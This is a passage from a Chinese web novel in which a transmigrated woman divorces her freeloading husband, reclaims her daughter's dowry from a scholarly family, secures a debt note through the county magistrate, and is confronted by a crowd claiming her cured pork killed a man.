冷小幸痛指着郭楚生、高氏母子,打落水狗道:“你们身上穿的也是我买的。为了街坊领居的眼睛,我不与你们这等小人计较,这身衣服我许你们穿走。柳姨娘主仆身上的衣服也许她们穿走。”
“不过,你们要记得三日之内把银钱还清,付不清就把欠条写好。”冷小幸像是索命阎王般低声道:“别想着耍小聪明,在欠条上写三年五载才还。欠条我也要给县太爷过目,至多一月为期。无论你们是去求、去借、去乞讨,甚至去卖身,都给我还上。若不然,我会叫你们好好领教我的手段。”
说罢,冷小幸转身甩袖,喊伙计开门。
这个让郭楚生熟悉无比的动作,扎得他双眼通红。
进了门,丫鬟与张铁妞直奔柳姨娘房中。
柳姨娘正在挑剔小丫头炖的鸡汤火候不够,黄芪太少,红枣又放的太多。
房门突然被推开,张铁妞、丫鬟两人一言不发上前去拽柳姨娘主仆。
柳姨娘尖叫道:“你们干什么?放开我。”
张铁妞两人充耳不闻,拖着人往外走。
“等老爷回来,看我不告诉他,把你们通通赶出去。”柳姨娘喝道。
张铁妞冷笑道:“好叫姨娘知道。表姑已经把郭楚生那那个畜生休掉了。你呢现在就随郭楚生滚吧。”
柳姨娘与小丫头听了,瘫软在地。
柳姨娘一边徒劳用手抓地,一边喃喃自语道:“不会的,不可能,你骗我,你们骗我。”
“我家掌柜的心善,”丫鬟撇嘴道:“没有叫我们扒了你们的衣服,把你们扔到大街上,你们就知足吧,赶紧滚。”
将她二人拖出屋时,冷小幸正在院中向张厚山道谢。
张厚山道:“你也累了一天,好好睡一觉,别瞎想。明日将账目算清,我陪你去请太县太爷过目。”
柳姨娘看到冷小幸像看到救命稻草一般,喊道:“夫人,夫人,我不走,求求你,别赶我走。”
冷小幸看也不看,只对张厚山道:“多谢叔父。”
柳姨娘见状,更是害怕,也不知哪来的力气,竟挣脱张铁妞,扑到冷小幸脚边,跪地咚咚磕头,边磕边道:“夫人,我错了,求你饶了我。”
冷小幸蹲下,掐起她的下巴道:“柳姨娘,我给过你机会,是你自己不要。”
“夫人,我写,我写礼单,以后你让我做什么我就做什么,求求你,求求你,别赶我走,我再也不想忍饥挨饿了。”柳姨娘泪如雨下,楚楚动人。
冷小幸没有一点恻隐之心,她又不是圣母玛利亚,她起身冷漠道:“你若再不走,我只能多找些人拖你出去了,剩下的人可都是些年轻小伙,你要他们拉你出去,叫外面的人看到吗?”
柳姨娘闻言,浑身一抖低头抹泪。
冷小幸一个眼神,厨娘上前和张铁妞两人将柳姨娘拖出门外。
吓傻了的小丫头也被丫鬟送了出去。
有等了一会,确定郭楚生等人离开,张厚山才带着张家其他人离开,走前不忘叮嘱冷小幸:“郭楚生他们要是敢来闹事,报信给我。”
47.代夫纳妾求子的商户女15
冷小幸谢过张厚山好意,亲自将人送出门。
张铁妞见人都走了,她跟在冷小幸身边,问出了压在她心里的疑问:“表姑,为什么今日不直接从韩家取走嫁妆?要等到明天呢?”
冷小幸还未说话,张阿蛮系统先叹道:“铁妞真是个实诚孩子。唉,韩家求娶时看着千好万好,没想到却也不是东西,连儿媳的嫁妆也敢伸手。呸,杀千刀的!”
“若没有猜错,郭亚男的嫁妆应当也被韩家私自动用了。”冷小幸对张铁妞解释道。
“啊?”张铁妞瞪大眼睛道:“动女人嫁妆是要遭人嗤笑的,韩家那么要脸面的人家,怎么能做这种事。”
冷小幸拍着她的肩膀叹道:“这世上有许多人家,表面看着光鲜,实则里内全是败絮。难道你没听过仗义每多屠狗辈,负心多为读书人?”
“那表姑为何主动给他们台阶,还宽限一日,不直接撕了他们的面皮?”张铁妞不懂。
冷小幸闻言失笑道:“与韩家闹翻对我们有什么好处?”
张铁妞皱着脸想了半晌,不得不道:“对我们是没好处,可是他们分明在欺负亚男姐呀。”
“郭亚男跟我们有什么关系?”冷小幸沉下脸道:“与其担心她,你倒不如想想与韩家彻底翻脸,对我们有什么坏处。”
张铁妞垂头道:“那可太多了,咱们毕竟只是商户,韩家虽大不如前,但几代读书人,祖上还做过官,真要硬碰硬,只能是咱家吃亏。可是亚男姐......”
“我们已与郭亚男断亲,以后再无关系,这一点你要铭记于心。”冷小幸长叹一声,牵起郭亚男的手柔声道:“我们索要嫁妆,已然得罪韩家,何必穷追不舍为郭亚男出气呢?再说,你觉得我们将事情闹出,郭亚男愿意与韩三公子和离吗?”
张铁妞想了想道:“她大概是不愿意的。”
“对呀,闹出来她也不会离开韩家,还不如就这么算了,将来她在韩家也能好过些。至于韩家,我们给他们留了面子,他们也该见好就收。所谓人情留一线,日后好相见。何必要跟他们结下仇怨呢?”
“那韩家会不会拖着赖账,想着我们顾忌亚男姐,不敢再去要?”张铁妞问道。
“不会的,”冷小幸胸有成竹道:“韩家自然有明白人。”
韩家正堂,郭亚男早已被找回。
她一味哭啼,问什么都答不出。
韩夫人见从郭亚男这问不出什么隐情,又被她哭得头痛,遂命人将她送回房。
郭亚男一走,韩夫人便问打听消息回来的家仆道:“你说,到底怎么回事?”
家仆不敢有误,将今日官府堂上发生的种种一五一十讲清,就连不久前张家门前的那场闹剧也一字不落讲给韩夫人。
韩夫人听完怒不可遏,她拍了一下桌子,张口大骂郭亚男道:“这个蠢货!”
身旁的丫鬟忙给韩夫人揉手,一边揉,一边道:“夫人仔细手疼。”
韩夫人心头滴血。
韩家一代不如一代,如今只剩空架子罢了。
不然再怎么样韩夫人也不能给儿子娶屠夫之女,就算这屠夫女有个赘婿举人爹也不行。
韩三公子沉迷读书,不通庶务,偏偏他天资有限,在读书一道上怕是难有所成。
韩老爷早有断言,韩三公子怕是秀才都中不了。
韩夫人不忍韩三公子吃苦,才为他千挑万选了郭亚男。
张家在张屠夫死后,生意不如以往,但家资在平民百姓中也算很不错,只不过屠夫人家钱不外漏,更富贵些的人家不把张家的钱放在眼里罢了。
同样,更富贵些的人家也选不中韩三公子做女婿,即便有,那也跟韩家差不多都是锦绣皮囊罢了。
韩夫人为儿子计长远,觉得张家这门亲事更实惠些。
张家只有郭亚男一女,将来张家的所有的东西还不都是郭亚男的。
就连郭楚生之前的好名声,都很惠及到韩三公子这个女婿身上。
韩夫人确实不想让外人知道他们图谋儿媳的嫁妆,但不代表他们没有这么做呀。
何况郭亚男那么傻,对上韩家又常感自卑,从她手里面抠点嫁妆出来做家用,简直易如反掌。
当日韩夫人选中郭亚男,未尝没有看中她蠢,好拿捏的一层用意。
谁承想郭亚男竟能蠢到这个程度?出钱给赘婿爹娶外室,一心盼着同父异母的弟弟降世,还大逆不道改回赘婿爹的姓氏,甚至在亲生母亲休弃赘婿索要赔偿时,她竟敢站出来表示她来赔,以后她来养赘婿爹连同赘婿小妾等人。
韩夫人胸口起伏不定,觉得自己要被郭亚男生生气死了,她真想劈开郭亚男的脑袋看看里面是什么?
怨不得,张家一定要跟郭亚男断亲,非要讨要她的嫁妆呢。
韩夫人扪心自问,她要是生出这么是非不分,吃里扒外的孽障,早就家法处置一根白绫勒死了。
郭亚男还能活着在她面前哭,张家真是太仁慈了。
韩夫人心里虽这么想,但张家的钱可不能就这么溜走了,那可都是将来她儿子韩三公子的钱。
思来想去,韩夫人还是觉得还是得让郭亚男母子和好如初才行。
她坐不住起身去找郭亚男。
郭亚男两只眼睛肿的像核桃,还在哭呢。
韩夫人进屋先命丫鬟去给郭亚男打水预备净面,又让人去厨房拿壶蜂蜜菊花茶来。
她一脸慈爱手拿帕子给郭亚男拭泪道:“好孩子,快别哭了,你这一哭,为娘的心一揪一揪的疼。”
自郭亚男嫁进韩家,还从未遇到韩夫人对她这般体贴关怀。
郭亚男捏着衣角,怯生生叫了声:“娘。”
“哎,”韩夫人笑眯眯答应,见丫鬟端了水盆进来,便道:“好孩子,去洗脸吧,瞧着小脸,都哭花了。”
郭亚男不好意思笑了笑,告了声罪,在丫鬟的服侍下洗了脸,装饰一番后站到韩夫人身前。
韩夫人让丫鬟们吸取,拉郭亚男坐下,轻拍着她的手背,温声道:“亚男,事我都听说了。”
郭亚男闻言,浑身一僵,低头做鹌鹑状。
“你确实做了糊涂事,但你别怕,我不是要骂你。”韩夫人柔和道:“你就听我这做婆婆的,这会就去给你娘赔个不是。母女连心,哪能真断了
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往来,叫旁人听了笑话。”
“娘不是我不去,可我没做错呀。”郭亚男捏着衣角,茫然抬头道:“您说过,咱们书香门第最讲究无后为大,爹爹他也是读书人呀。”
韩夫人闻言一哽,这话是她用来拿捏郭亚男的,谁知道郭亚男竟能联想到郭楚生头上。
“傻孩子,我教你规矩,是想着你嫁到我们家,不懂这些,想让你做个体面人。可你不能拿韩家的规矩去伤你娘的心啊,你娘家是杀猪的又不是读书人家,本不必守这规矩。”韩夫人强忍不耐道。
郭亚男眼众满是困惑,小声道:“可之前二嫂她们总说我爹做赘婿不易,这不易不就是指他不能传宗接代吗?我帮他纳妾,改回父姓,这难道不是尽孝道吗?”
“那是你二嫂她们拐着弯嘲笑你,”韩夫人心里翻了个白眼,将这话强咽下去。
韩夫人耐心哄着郭亚男道:“是我平日教导你多了些,叫你会错意。你爹是赘婿,你向他尽孝只管多去看他,让他享天伦之乐便是。可你给你爹纳妾,改姓,这对你娘可是大不孝啊。你想想,要不是你娘这些年忙里忙外,操持家务,你和你爹怎能安稳度日?你又哪来那么大一笔嫁妆傍身?”
“我,我没想对我娘不孝。”郭亚男眼圈泛红委屈道:“我只是,只是......”
郭亚男只是了半天也没说出个所以然来。
她再傻,也不至于告诉韩夫人,她只是不想再让韩家人看不起她,她也想像建宁府那个改回生父姓氏的官员一样被大家交口称赞,她还想好好气气那个如今眼里只有张铁妞,没有她这个亲身女儿的娘家妈。
韩夫人耐着性子等了半晌,见郭亚男也说不出什么新鲜话,她温婉道:“我看你也知道错了,这会就回张家去吧,好好跟你娘说几句软话,一定要求得她原谅你,明白吗?”
“我娘她,她,”郭亚男断断续续道:“她肯定还在生我的气,怕是不肯见我。”
韩夫人见她松口,温柔一笑道:“傻孩子,哪有当娘的记恨自己女儿的?你只管去,我备了些礼物,你一并带过去,就说你准备的,可千万别说漏嘴,知道吗?”
“知道。”郭亚男唯唯诺诺道。
韩夫人理了理郭亚男的鬓角,轻声道:“去吧。”
郭亚男带着一车礼物,在张家左邻右舍异样的眼神下,鼓起勇气伸手叩门。
把门打开的伙计,不敢擅作主张把郭亚男放进去,他道:“姑奶奶,您等等,我去跟东家说一声。”
说罢,又把门关上了。
被拒之门外的郭亚男心中五味杂陈,听到不远处相熟的大爷大妈议论道:“那不是张家丫头吗?她怎么还敢来?”
“跟她爹一路货色,没了嫁妆,可不得上门求饶,不知道张掌柜会不会心软。”
“可别叫张家丫头了,人家改姓了,现在姓郭。”
“估计明日就又改回来喽,等着瞧好好戏。”
郭亚男听了,只觉羞愤欲死,恨不得一头撞死在门板上。
门内,伙计匆匆忙忙报给冷小幸道:“东家,姑奶奶在外面叫门呢,还带了好多东西,外面人都看着呢。”
48.代夫纳妾求子的商户女16
“姑奶奶?谁家姑奶奶?”冷小幸语气不善道。
伙计一愣,随即轻轻扇了一下自己的嘴,改口道:“是韩家三少奶奶在门外。”
“叫她走。”冷小幸硬邦邦道:“我们张家与她再无干系。你去告诉她,她若是执意不走,便是肆意骚扰,我定会报官抓她。”
伙计张了张嘴,有心劝说几句,但看到冷小幸寒霜般的面色,终究把话都咽了下去,答应一声,转身去找郭亚男。
郭亚男不肯就此离开,哭着闹着非要进门,甚至有撒泼打滚之势。
伙计苦着脸无奈道:“姑奶奶,求你不要为难小的。东家的脾气你是知道的,她说要报官,那定然是要报官的。”
郭亚男哭声一顿。
“姑奶奶,你听小的一句劝,报官对你没好处。你回韩家等几天,等东家气消了,我们给你报信,你再回来。”伙计见她态度松动,趁热打铁道。
郭亚男想到冷小幸在公堂上的冷血无情,并不敢真的一哭二闹三上吊,再丢一次脸,只好灰溜溜回韩家去了。
一路上,她吧嗒、吧嗒掉眼泪,只觉有一肚子的委屈、伤心要对韩夫人诉说。
可到了韩家,韩夫人没有见她。
韩夫人房中的丫鬟对郭亚男道:“三少奶奶先回房吧,夫人正和老爷说话呢。”
屋内,韩夫人对韩老爷抱怨道:“老三家的真是没用,那个杀猪的心也太狠了,就这么一个女儿也能这般绝情。”
她说了好几句话,韩老爷却只捧着书本看,始终一言不发。
韩夫人无法,只得问道:“老爷你说这该怎么办?”
韩老爷两只眼珠子粘在书页上,像是没听到。
韩夫人加重语气道:“老爷?”
“还能怎么办?”韩老爷叹了口气,把书放在桌上,慢吞吞道:“张家有官府的判决书,有嫁妆清单,明日给张家原模原样的送回去吧。”
“老爷,那怎么行呢!”韩夫人失声道。
韩老爷眉头拧成个疙瘩,很不满韩夫人的失态,他沉声道:“你信不信,要是明天你不把嫁妆给张家送过去。后天,满城都会传开,我韩家贪了儿媳的嫁妆。”
“那杀猪的怎么敢!她不怕跟我们韩家结成私仇吗?”韩夫人满脸的不可置信。
“她怕呀。”韩老爷觉得今天的韩夫人很不正常屡屡失态,他怕韩夫人不照他说的话做,索性将话说的明白些:“今日她分明看出你在借口推脱,却给了咱们家一天时间。这是在给咱们面子,可若是咱们不就着这个台阶下来,张家难道会忍着吗?”
韩夫人闻言,不由急道:“可是嫁妆已经被动用了许多,怎么可能原模原样补齐?”
动嫁妆这事韩老爷当真不知,他指着韩夫人道:“你,你怎么敢?咱们家是体面人家,怎么能做这样的无耻之事!”
“家里面到底什么光景,你难道不知?”韩夫人梗着脖子,反唇相讥道:“现如今你吃的山珍海味,穿的绫罗绸缎,用的笔墨纸砚,那件不用钱?钱是哪来的,你当真没想过?何必装糊涂。”
韩老爷起身大怒道:“放肆,你竟敢这么对我说话。”
“怎么?你还要把我休了不成?”韩夫人不甘示弱道:“姓韩的,我告诉你,我忍了你大半辈子,如今不想忍了,有本事你就把我休了。”
也不知韩夫人到底是受了什么刺激,全然抛弃往日在韩老爷面前的温柔婉约,一副咄咄逼人的摸样。
韩老爷自是一惊,他与韩夫人生有儿女,夫妻多年,哪能随意将韩夫人休弃?
眼见韩夫人似是疯魔一般,韩老爷软下口气道:“话赶话罢了,夫人怎么能当真呢?竟说出要为父休弃你这样的无稽之言,平白伤了我们之间的夫妻情分。”
韩夫人冷哼一声不接话。
“我说把老三家的嫁妆给张家送回去,还是为了孩子们。”韩老爷使出杀手锏。
见韩夫人神色微动,韩老爷接着道:“咱小七还没娶妻呢,要是传出咱们家算计儿媳嫁妆的谣言,哪有的好姑娘愿意嫁给小七。还有咱闺女在婆家待得好好的,要是这谣言传到亲家耳朵了,难保不给咱闺女脸色瞧。夫人,你说是不是?”
韩夫人低头不语。
韩老爷知道韩夫人听进去了,笑道:“我还约了人,就有劳夫人把老三家的嫁妆补齐,缺了的从库里取。若是库里没有,也不必去买,这档口太打眼了,从公中用银子折吧。”
说罢,韩老爷抬腿向外走,一边走,一边在心里犯嘀咕:“什么世道,这些妇人个个都凶悍起来。张家杀猪的竟敢休夫,我家这个居然敢用休妻威胁我,真是世风日下,人心不古啊。”
韩夫人听不到韩老爷的心里话,她只知归还嫁妆势在必行。虽然她有心试试若是不还嫁妆或者以次充好,张家敢不敢与韩家闹,可涉及自己儿女婚姻,韩夫人不敢赌。
张家杀猪的可是敢闹到官府休弃夫的女人,要知道郭楚生再如何不堪,也有举人功名傍身。
更可怕的是这女屠夫竟能狠下心跟亲生女儿断绝关系,她可只有这一个女儿啊。
俗话说,光脚不怕穿鞋的。
要真因为真因为嫁妆,那杀猪的不顾脸面大闹一场,韩家可是要斯文扫地,她的儿女都要因此受到牵连蒙羞的。
韩夫人心中反复思量,最后还是命人找出郭亚男的嫁妆单子,一样一样地对清,少了的便开库房拿,实在没有以市价用银两补足。
这无疑让日益不富裕的韩家雪上加霜。
韩家的其他儿子、儿媳闻讯,心里自然不愿意。
巧得很,到了晚间用饭时,儿子们竟都不在家,只有儿媳们来了。
除了郭亚男,其他儿媳话里话外表示不乐意用公中的钱补贴郭亚男缺少的嫁妆。
她们不能直接对上韩夫人,便只拿话刺郭亚男。
可惜郭亚男太蠢了,又沉浸在自我伤心的情绪中,愣是没听懂。
几人对郭亚男这头笨牛弹了半天的琴,还是韩夫人不胜其烦,让郭亚男先回房去。
韩夫人索性将话挑明道:“将来分家,你们各房都有一份。这会你们也别说这是老三家的事,不能用公中的钱。老三家的嫁妆,你们哪一房没用过?也就是她傻,倒贴你们还得不到好脸。”
这一席
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话,半点没留情。
韩家几个儿媳,都红了脸,不敢吭声。
“她傻,她娘可不是傻,”韩夫人又道:“今日的事想必你们也都听说了。若是明日不把老三家的嫁妆给张家结清,让张家闹到官府去,到时官府算老三家的嫁妆用去了哪里,你们还有脸做人吗?”
几个儿媳垂头,不再反对。
第二日,冷小幸正拨动算盘,算着郭楚生要赔张家多少银两,韩家上门还嫁妆了。
韩家管事见了冷小幸,双手捧着清单,弯腰恭敬道:“小人给亲家太太请安。三房管库的嬷嬷丫鬟们不尽心,竟让三少奶奶的嫁妆折损了些。我家夫人已经罚过她们了,折损之物也已用银钱折算,请亲家太太过目。”
“当不起这声亲家太太,烦请回去告诉你家老爷夫人。我既与郭亚男断绝母女之情,与韩家自无姻亲关系。”冷小幸伸手清单道:“若是韩家以后来我张家腊肉铺买肉,我自是十分欢迎,只是这亲不必再做了。”
管事听了也不多言,只道:“是,小人回去,定当转告我家老爷夫人。”
冷小幸点点头,也不查验送来之物,就让张铁妞送客。
张阿蛮系统急道:“哎,你不当着他的面点清,出了这个门,韩家不认账,怎么办?”
“怕什么?”冷小幸不以为然道:“他们这样的人家,现下不敢拿东西糊弄我,就算砸锅卖铁也会补齐了送来。这下要回了嫁妆,郭亚男在韩家的日子可就要难过了,你真的不心疼?”
张阿蛮系统沉默良久,才叹道:“怎么会不心疼呢?可我也确确实实不能原谅她了,没有要回全部的嫁妆,就是我作为她娘,给她的最后一丝母爱吧。”
冷小幸闻言也是一叹。
上一世,若非郭亚男一力主张,张阿蛮的死因可能都不会被发现。
可她两世都这般糊涂,非要给赘婿爹纳妾生子。
这一世更是做出用自个嫁妆给郭楚生私纳外室,擅自改姓,这等大逆不道之举,甚至还要用张阿蛮千辛万苦给她攒的嫁妆去养被休的郭楚生等人,怨不得张阿蛮系统心寒,不肯再认她。
张阿蛮系统振作道:“别说她了,我们快算账吧。”
郭楚生入赘张家十七年,吃的虽不是精细米面,也是每年的新米新面,且顿顿有菜有肉,光口粮起码二十五两。
高氏常求药问医,再算上她的口粮,三十五两绰绰有余。
郭楚生读书用的笔墨纸砚,每次赶考的路费花销,少说也得六十两。
还有他们母子的鞋袜衣裳及其它琐碎花销,至少四十两。
柳氏主仆的卖身钱十五两,她们住的时日短,吃穿用度就不算了。
加起来,一共是一百七十五两白银。
冷小幸一笔一笔撰写清楚,等张厚山到了和他一起去官府,交给县太爷过目。
县太爷看过,没有异议。
冷小幸道:“可否请大人现在就出具一月为期的借条,现下郭楚生定然拿不出钱,即便找他去要也是扯皮,倒不如直接拿欠条找他签字。”
县太爷闻言,诧异看了眼冷小幸,一时没有做声。
49.代夫纳妾求子的商户女17
“大人,我只是一介商户女,若是没有官府背书,只怕郭楚生不肯认账,更不会在欠条上签字。”冷小幸不卑不亢道。
县太爷思考几瞬,命文书写了三份借条,盖上印章,交给冷小幸签字后,让衙役带着她去找郭楚生签字。
张厚山早已打听清楚,郭楚生带着高氏等人借宿在一位姓田的秀才家。
去的路上,冷小幸对衙役道:“辛苦大人走这一趟。一点心意,请大人笑纳。”说着,递上一串铜钱。
衙役习以为常,伸手接了,笑道:“张掌柜客气了。”
到了田秀才家外,冷小幸上前叩门。
田秀才开门见是冷小幸,捋须冷嘲道:“是你?呵,想来弟妹是后悔了,专程来求复合。早知今日何必当初呢,一点小事,竟闹到官府,丢尽脸面。弟妹可知女子当以柔顺为美......”
眼见田秀才有长篇大论之势,冷小幸打断道:“当不起秀才您这声弟妹,我已休弃郭楚生,田秀才您叫我张掌柜便是。”
田秀才被打断,自是不悦,他冷哼道:“既已休夫,何故又来纠缠?”
冷小幸侧身,漏出身后衙役道:“奉县太爷之命,请借住在您府上那位贵客郭楚生给欠条签字。”
“荒唐,为了区区几两银子你竟又闹至官府,这般咄咄逼人,岂是女子所为?传出去谁还会再娶你?真是毫无女德,满是铜臭。”田秀才沉着脸教训道。
冷小幸竖起眉毛大声道:“欠债还钱天经地义,还轮不到田秀才你教训我,废话少说,叫郭楚生出来签字。”
看着被冷小幸话语吸引注意力的邻居们,田秀才面皮一抽低声道:“弟妹,我也是为你着想,你这般作为,难道不怕旁人笑话你刻薄?”
“田秀才,我的耐心是有限的,没功夫跟你磨牙,你若还拦着,我便去县衙禀告县太爷,到时官府来人提他,可就怪不得我了。”冷小幸说罢,作势要走。
“哎,”田秀才忙拦住道:“你等等,你随我进来签吧,这外面哪有写字的地方。”
冷小幸等人跟着田秀才进屋,这宅子跟柳氏在桂花巷做外室时差不多大,田秀才自己家人里都住不开,难为还能塞进郭楚生等人。
郭楚生等人听到动静,出来一看竟是冷小幸。
高氏立刻尖声道:“你来做什么?我告诉你后悔也晚了,若想叫我儿随你回去,你得给我们磕头赔罪,重拟婚书才行。”
“阿蛮,你实在太过,我不想再见你,你走吧,我们夫妻情分已断,覆水难收。”郭楚生痛心疾首掩面道。
冷小幸闻言一惊,停下脚步。
柳氏上前,凑近冷小幸推心置腹道:“夫人,你就跟老爷服个软吧。”
冷小幸嫌弃的与柳氏拉开距离,对张阿蛮系统抓狂道:“啊啊啊,他们到底是什么脏东西,太可怕了。”
她的目光从田秀才、高氏、郭楚生、柳氏面上一一划过,嗤笑出声:“我算见识了,什么叫物以类聚人以群分,你们的脸皮比城墙还厚啊。”
说罢,拿出欠条对郭楚生道:“这你该归还的银两的欠条,账目清晰有官府印章,就差你的签字了,快签了。”
郭楚生不接欠条,对着冷小幸一脸你怎么能这么无情、无耻、无理取闹的心碎神情。
冷小幸转头对衙役道:“大人,您看到了,是他不签。”
衙役对郭楚生道:“郭举人,你若不签,小人只能回去禀告县太爷,容小人提醒你一句,若是你真的欠债不还,依律是要革去功名的。”
郭楚生回神,额头冷汗冒出,涩声道:“我签。”
“这不就得了嘛,”冷小幸大声讥笑道:“装什么情圣白莲花,也不看看自己什么摸样,恶心死了,呕。”
在场人都听得清清楚楚,全部都装作没听到,衙役低头忍笑。
郭楚生很快签完。
冷小幸留了一张欠条给郭楚生,收好剩下两张,长扬而去。
田秀才看着她的背影对郭楚生同情道:“这等悍妇,这些年委屈贤弟了。”
冷小幸听见了,不能当作没听到,她转身对田秀才大声道:“我听说你最喜欢把‘兄弟如手足,女人如衣裳’挂在嘴边,如今你兄弟欠了大一笔钱,若是一月之后还不上可就被革去功名,压入大牢了。你这样明事理、重情谊的读书人应该不会见死不救吧?”
说完,不等田秀才作何反应,她再次大步离开。
冷小幸等人把欠条给官府送去一份备案,手续办完已快到晌午。
她请张厚山回家用饭,张厚山欣然同意。
冷小幸亲自下厨做了一桌好菜,张家众人聚在一起美美吃了顿饭。
送走张厚山不久,张铁妞带着一年轻书生到冷小幸面前道:“表姑,之前要你找写礼单的人,我找到一个,你看合不合适?”
冷小幸请那年轻书生写了几个字,点头道:“我这有几份礼单要写,有劳先生务必明日早上写完,时间紧了些,工钱我多付一成,先生看可以吗?”
“张掌柜放心,小生定会完成。”书生拱手道。
冷小幸看着,在张铁妞引路下去书房的书生对张阿蛮系统感叹道:“这世上有的读书人愿意靠自己挣钱,不觉羞辱。也有郭楚生那等狼心狗肺之徒,还有田秀才那种满口之乎者也,让家人跟他吃苦的酸儒。”
“是啊。”张阿蛮系统深悔自己识人不明,让郭楚生入赘。
待礼单书写完成,冷小幸一一看过见并无错漏,爽快地把工钱给书生结清,还额外送了份腊肉做节礼。
“使不得,使不得,”书生满脸通红,连连推辞。
冷小幸执意要给,书生才勉强收下,心中对冷小幸很是感激。
又将年礼检查一遍,冷小幸带着张铁妞亲自送到各级官员府上,好不容易送完,又急忙准备自家过节所需。
好一番忙活,转眼到了冬至当天。
冬至在本府也叫“冬节”,素有“冬节大如年”的说法。
当晚,堂屋早摆好了长几,长几两端各点着两根粗红的香烛,中间则供着簪花寿面、红橘、粉团。
张铁妞不在,她回张厚山家过节。
冷小幸与厨娘等人围坐在一起用糯米粉搓丸,称为“冬节丸”或“甜丸子”,可以搓成圆形,也可捏成寿桃、鲤鱼等形状讨个好
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彩头,将搓成的丸子粘在门楣、灶头与米缸上可“达阳气”,保家中人畜平安。
厨房的灶台上熬着甜汤,将搓好的丸子煮熟,裹上黄豆粉与红糖,先盛出丸子配三牲供祖,再一起共庆佳节。
酒足饭饱收拾过后,冷小幸躺在床上心满意足地闭上眼睛,还没睡着就听见张阿蛮系统问道:“你是不是打算走了?”
冷小幸打了个哈欠道:“差不多吧,再等一个月,郭楚生那要是没什么幺蛾子,我也该功成身退了。”
“真的能因为他不还钱,就罢除他的功名,把他投入大牢吗?”张阿蛮系统不确定道。
“这个嘛,确实在两可之间。”冷小幸实事求是道:“郭楚生有举人功名在身,又是张家赘婿,律法上没有明确规定类似案件该如何判决,又几乎找不到有举人功名的赘婿被休弃索要赔偿的先例可寻。所以最终如何判决,还要看县太爷。”
“那我们要不要送给县太爷点礼?”张阿蛮系统立刻道。
“不用,从我来这段时间看县太爷处事还算公允。”冷小幸断然否决道:“平时正常孝敬也就罢了,这个案子如此特殊,定然引人瞩目,若是叫人知道我们送礼贿赂,很有可能弄巧成拙。”
“哦,”张阿蛮系统悻悻闭了嘴,挫败感油然而生。
冷小幸却觉同样作为原主,张阿蛮系统明显要比昭华公主立得住。
这段时间张阿蛮系统虽然出不来,但也努力学习怎么做腊肉,配料比例等等都记得清楚。
冷小幸没什么不放心的,她相信就算一个月之后,郭楚生没有如她们所料那般受到应有的惩罚,张阿蛮系统也能过好这一世。
唯一所虑便是不知所踪的吕令仪,要不还是等找到吕令仪,确定郭楚生再也没有翻身机会了再走。
抱着这样的想法,冷小幸进入梦乡,做了一晚上乱七八糟的梦,一会梦到吕令仪又和郭楚生勾搭成奸,一会梦到肉铺燃起大火,一会梦到张亚男哭哭啼啼抱着个孩子来让她养,她不肯,张亚男就在外面砸门。
“咚咚咚,啪啪啪”梦境中的砸门声无比真实,冷小幸皱着眉头裹紧被子。
张亚男的哭求声又变成张铁妞喊着:“表姑,表姑,”的急切声。
冷小幸猛然坐起,甩了甩脑袋,心道:“烦死了,还让不让人好好睡觉,什么破梦。”
可敲门声并没有随着她醒来中断,反而是张铁妞火急火燎的声音愈发明显:“表姑,表姑,你快起来,出事了。”
“出事?出什么事了?难道是郭楚生来闹事?还是郭亚男那个白痴又来了?”冷小幸不甚清醒,脑中的念头一个又一个冒出来。
“表姑,”张铁妞又拍门道:“表姑,您醒了吗?外面来了一大帮人,抬着一个死人,说是吃咱家的腊肉吃死了。您快起来看看呀!”
冷小幸陡然一惊,瞬间清醒,应答一声,飞快地穿上衣服打开房门道:“怎么回事?”
“我,我也不知道,”张铁妞喘着气道:“我回来的路上就见到一群人气势汹汹,没想到听他们说话是冲咱家来的,我赶紧跑到他们前面,我不敢开门怕他们跟着进来,是翻墙进来的。”
50.代夫纳妾求子的商户女18
说话间,街道上隐隐传来嘈杂声。
伙计厨娘等人听张铁妞砸门的动静,一个个边套衣服边陆陆续续赶来,初时茫然无知,待听张铁妞说完个个神色慌张,不知该如何是好。
外面的人已然到了门口,框框地砸门声伴随着叫骂声不绝于耳。
冷小幸攥住张铁妞的手道:“你从后院翻出去,去报官就说出了人命官司。”
“表姑你放心,我一定把官府的人带来。”张铁妞立刻点头道,说罢匆匆跑向后院儿。
冷小幸见厨娘等人吓得不轻,便道:“你们都不要出去,在这等着。”
她理了理衣襟,快步向前院大门走去。
厨娘等人回过神,连忙上前劝道:“东家,你先别去,等会官府的人来了,咱们再开门不迟。”
“等那会儿黄花菜都凉了,咱这肉铺的名声也要烂掉了。”冷小幸脚步不停,口里说道:“你们先躲一躲,别出来啊。”
厨娘等人相互对视一眼,又见冷小幸手已搭在门栓上,他们只好忍着心中胆怯,上前帮冷小幸抽出粗重的门栓,异口同声道:“东家,我们一起。”
冷小幸面上露出一抹微笑,双手用力一推,大门吱呀一声缓缓打开。
吵闹的大街也随之静默一瞬,接着像冷水泼进热油锅里,炸开了。
只见一群人围在一块门板四周,门板上直挺挺躺着个人,用白布从头到脚盖着。
这群人见冷小幸出来,立刻红着眼、哭喊着冲簇拥着一对头发花白的老人冲了上来。
两个老人正是死者的爹娘,当爹的伸手颤颤巍巍指着冷小幸鼻尖恶狠狠道:“你赔我儿子命来。”
“大叔,您别急,慢慢把话说清楚,你儿子究竟是怎么死的?可不能空口白牙就赖在我身上。”冷小幸扫了一眼面前乌泱泱的人群,声音倒还稳得住。
“你,我儿子就是吃了你家腊肉,吃死了,什么叫赖到你身上!”当娘的扑上去想要捶打冷小幸,被冷小幸微微侧身躲开,当娘的见扑空索性一屁股坐到地上,拍着大腿嚎道:“我儿子身强力壮,昨儿吃了你家腊肉就断了气,不是你家肉有毒,还能是什么?他才二十五啊,老天爷啊,这让我们怎么活啊!”
她又哭又骂,身边的人一拥而上,看着像是要打冷小幸出气。
冷小幸将厨娘等人护在身后,高声道:“这其中怕是有什么误会,我家的腊肉风吹日晒干干净净,这么多天不知多少人吃了都没事,诸位,我看还是弄清楚再说吧。”
围观的街坊领居有个身形魁梧的汉子附和道:“对呀,得先弄清楚咋死的。”
“就是,就是,”一个高挑的老妇人道:“昨儿冬节,我们都收到了张掌柜的节礼,不少人都吃了,我们都好好的。”
大家七嘴八舌纷纷出言劝来者们别冲动闹事。
正说着,却传出一句:“说不得她家腊肉里真搁了什么脏东西,昨儿我吃完就肚子疼。”
冷小幸抬眼去看,也不知是谁说的,她眉心一跳,朗声到“我家几代人做肉铺,从来没出过一桩祸事,你们不能凭空冤枉我。”
“让开,”冷小幸对挡在她身前的人厉声道。
大约是她气势太足,竟真有几人往旁边挪,让出一条小道。
冷小幸快步走到门板前,伸手要去掀白布。
